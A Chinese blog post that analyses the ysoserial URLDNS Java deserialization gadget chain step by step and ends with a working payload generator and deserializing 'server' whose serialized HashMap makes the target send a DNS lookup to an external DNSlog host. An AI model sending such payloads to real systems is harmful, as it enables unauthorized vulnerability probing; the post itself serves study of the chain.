沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

Java反序列化之URLDNS

0x00 前言


11月还有80分钟就要过去了,这个月因为各种报告还有考试,导致很没有干劲,没有干劲就不想学习,不想学习就想打游戏,所以整个11月都在写报告、准备考试、玩游戏中虚度了,耽误了很多事情……

所以计划有变,每天分析一个ysoserial链的分析吧😋(说是每天,谁知道是不是每个月呢,到时候🥱。

本篇包含以下元素:

  • URLDNS-Gadget的分析
  • URLDNS-Gadget的利用

0x01 简介


URLDNS这条链,并不能用来执行其他命令来RCE,只能用来发送一次DNS请求到我们指定的网站上,然后我们就能查看是否有请求记录而来判断是否存在Java的反序列化漏洞。简短的来说:URLDNS只能用来探测和验证是否存在漏洞。看似没什么用,但其实在渗透测试的实战中,这种用DNS请求来探测和验证漏洞的点到为止的思想还是挺常用的。而且这个Gadget还不需要任何其他的依赖,原生Java就能够成功调用成功。

0x02 分析


环境搭建

如上文所说的,此Gadget不需要其他依赖,所以我们可以随便新建一个Java项目。同时,为了方便我们分析,我们还可以从Github上下载ysoserial的源码,然后找到ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java,里面的注释可以帮助我们更好的理解。部分Payload的构造如下:

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

调用顺序

从注释中我们可以得到如下的Gadget调用顺序:

Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

初始触发点是HashMap的readObject函数,根据我们之前对Java反序列化的学习:点击查看详情,这是显然和必须的,要实现反序列化的利用,Gadget就必须重写了Java的readObject,所以下一步我们就跟进HashMap的readObject函数。

HashMap#readObject

省略一大堆不重要的代码,直接定位到下一个调用点的代码如下:

private void readObject(java.io.ObjectInputStream s){
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        //throw xxx 
    else if (mappings > 0) {
        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
            K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
            V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
}

会先判断Map的大小,如果大于则进入一个for循环,在这个循环中,会遍历并反序列化Map的key和value,然后调用putVal函数,其中key值又传入了hash函数。

HashMap#hash

跟进HashMap中的hash函数,代码如下:

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

判断key值是否为空,如果不为空,则又会对key进行一个hashCode函数的处理。由上文中的部分Payload可知,这里的Key是URL类,所以我们下一步跟进URL类的hashCode函数。

URL#hashCode

其代码如下:

private int hashCode = -1;
public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

hashCode默认值就是-1,所以会接着调用handler.hashCode(this),这里就是调用顺序中的最后一步了,但是看起来好像并没有什么,为了搞懂这行代码干了什么,我们可以先做个小实验。

hashCode的探究

首先我们用谷歌找到一个在线的DNSLOG平台:DNSLOG Platform (xn–9tr.com),然后编写如下代码,进行调试:

public class Demo1 {
    public static void main(String[] args){
        try {
            URL url = new URL("http://xxxx.xxx"); //Ur DNSLOG paltform
            url.hashCode();//debug here
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }
    }
}

跟进刚刚的hashCode调试,发现会跳转到URLStreamHandler类中的hashCode函数。

URLStreamHandler#hashCode

其部分代码如下:

protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }
    //省略
}

在调用到URLStreamHandler#getHostAddress时,会进行DNS请求(暴露了我博客拖更的事实,每天玩游戏🤣):

image-20211206223204547

至此,我们便搞明白了URL#hashCode 实际上是会最后调用到getHostAddress,从而发出DNS请求。到这里,这个Gadget的分析好像到此结束了,但是在ysoserial提供的payload中还有其他的一些细节,所以下面我们再来分析一下这些细节。

细节1

首先是在初始化URL类时,并没有像我们实验的那样子,直接 new URL("Your DNSLOG PALTFORM");,而是还额外提供了一个handler,代码如下:

URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key

这个handler即是我们URL#hashCode中hashCode = handler.hashCode(this)的handler,即使没有提供时,也会通过一系列代码给他赋值,通过我们上文的小实验可知,是一个URLStreamHandler对象。但这里声明的对象类型也同样是URLStreamHandler,所以这样额外给他赋值的意义在哪里呢?

我们可以注意到,Payload中使用的是new一个SilentURLStreamHandler类,并且在注释上写到“Avoid DNS resolution during payload creation”,所以这行代码的意义就是“避免在生成Payload的时候进行DNS解析”。

(黑人问号脸.JPG)

Payload在生成的时候生成也会进行DNS解析吗????是的。我们在生成Payload时,最后会调用HashMap#put函数,把其放入HashMap中,而其代码如下:

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

可以看到和readobject处一致,所以此处也同样的会进行一次DNS解析。虽然影响不大,我们可以看解析时间来判断是否是由Payload发起,但是为了把干扰降到最低,我们还是有必要解决一下这个问题的。ysoserial是怎么做的呢?如上文所说的那样,他指定了handler值而不是不由Java自动生成,并且是new了一个SilentURLStreamHandler类。这个类是他自己编写的URLStreamHandler子类,其代码如下:

static class SilentURLStreamHandler extends URLStreamHandler {
    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }

    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}

重写了URLStreamHandler#getHostAddress和URLStreamHandler#openConnection。重写getHostAddress的原因,显然是使其在put时,不会成功的引起DNS解析,因为子类重写的方法会覆盖父类对应方法,也就是说,在最后调用getHostAddress时,只会return null;而重写openConnection原因则更为简单,因为URLStreamHandler是一个抽象类,所以必须重写其所有的抽象方法,这里的openConnection便是其中的抽象类

通过这种重写父类方法的方式虽然解决了put时会发出请求的问题,但是我们仔细一想,这样的一个handler值会不会影响我们反序列化时的调用,导致最后一次也没有成功调用呢?实际是不会的。因为我们可以在URL类的代码中看到:

transient URLStreamHandler handler;

handler使用了 transient来修饰,而用transient关键字标记的成员变量不参与序列化过程,也就是说,即使我们在构造URL类时指定了handler,也不会参与到序列化过程,最后反序列时,还是由Java自己构造。在注释中,作者也写到了,“Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.”

细节2

这样就可以成功只在最后触发了吗?如果你仔细看看尚未给出的URL#hashCode中的代码的话,又会发现新的问题:

private int hashCode = -1;
public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

没错,这里的hashCode是URL类中成员变量,意味着一旦经过了重新赋值则值永远改变。当我们在调用put时,因为hashCode的默认值是-1,所以会调用handler.hashCode,这时虽然我们重写了getHostAddress,使其不能成功进行DNS请求,但是最后URLStreamHandler#hashCode返回的值也不再是-1,这就表示,在下次反序列化的时候,是不能够成功执行到handler.hashCode而是直接return hashCode。

如果hashCode是public,我们似乎可以直接重置,但是这里是private,那么ysoserial是怎么解决这个问题的呢?其代码如下:

ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);

这个Reflections类并不是Java自带的,而是其自己编写的类,通过他的setFieldValue方法,将put后的hashCode重新设置为了-1。但其是具体是如何实现的呢,似乎很值得我们学习一下。在ysoserial-master\src\main\java\ysoserial\payloads\util\Reflections.java中我们能够看到源码,如下:

public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
	try {
	    field = clazz.getDeclaredField(fieldName);
	    setAccessible(field);//自己封装的setAccessible
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
		return field;
	}

	public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
		final Field field = getField(obj.getClass(), fieldName);
		field.set(obj, value);
	}

看起来很多,其实简单概括起来就是通过反射调用中的getDeclaredField(这个方法可获取所有变量,即使是private)获取到该变量,然后用setAccessible函数让开private变量访问权限,让其值可被修改,这里使用的是set反射修改。这里的setAccessible是自己封装的函数,会根据Java的版本,来使用Permit还是直接setAccessible(true)。

public static void setAccessible(AccessibleObject member) {
    String versionStr = System.getProperty("java.version");
    int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
    if (javaVersion < 12) {
        // quiet runtime warnings from JDK9+
        Permit.setAccessible(member);
    } else {
        // not possible to quiet runtime warnings anymore...
        // see https://bugs.openjdk.java.net/browse/JDK-8210522
        // to understand impact on Permit (i.e. it does not work
        // anymore with Java >= 12)
        member.setAccessible(true);
    }
}

概括起来,其实修改一个private变量的值可在类外修改只需要三句话(三句话让private的值可被改变,我是精通….🤣):

Class clz = User.class;
Field field2 = clz.getDeclaredField("VariableName");
field2.setAccessible(true);

自我实现

分析完毕后,我们尝试自己实现一下哎,并模拟序列化分反序列化的过程。攻击端如下:

public class URLDNS {
  public static void main(String[] args) throws Exception{
      //create the handler
      String dnsPaltform = "http://005ab237.dns.1433.eu.org."; //the DNS paltform u used
      URLStreamHandler handler = new myHandler();
      //create the URL
      URL url = new URL(null, dnsPaltform, handler);
      //put into HashMap
      HashMap hashMap = new HashMap();
      hashMap.put(url, "foobar");
      //reset the hashCode to "-1"
      Class clz = URL.class;
      Field field = clz.getDeclaredField("hashCode");
      field.setAccessible(true);
      field.set(url, -1);

      //serializztion
      FileOutputStream file = new FileOutputStream("chenlvtang.bin");
      ObjectOutputStream ser = new ObjectOutputStream(file);
      ser.writeObject(hashMap);
      ser.close();
  }

  static class myHandler extends URLStreamHandler{
      protected synchronized InetAddress getHostAddress(URL u) {
          return null;
      }
      @Override
      protected URLConnection openConnection(URL u) throws IOException {
          return null;
      }
  }
}

被攻击端:

public class Server {
    public static void main(String[] args) throws Exception{
        //deSerialization
        FileInputStream file1 = new FileInputStream("chenlvtang.bin");
        ObjectInputStream unser = new ObjectInputStream(file1);
        unser.readObject();
        unser.close();
    }
}

最后成功在DNSLog平台接收到请求:

image-20211207164642438

0x03 参考


Java ysoserial 学习之 URLDNS (一) | yhy’s blog (fireline.fun)

Ysoserial URLDNS链分析 - CoLoo - 博客园 (cnblogs.com)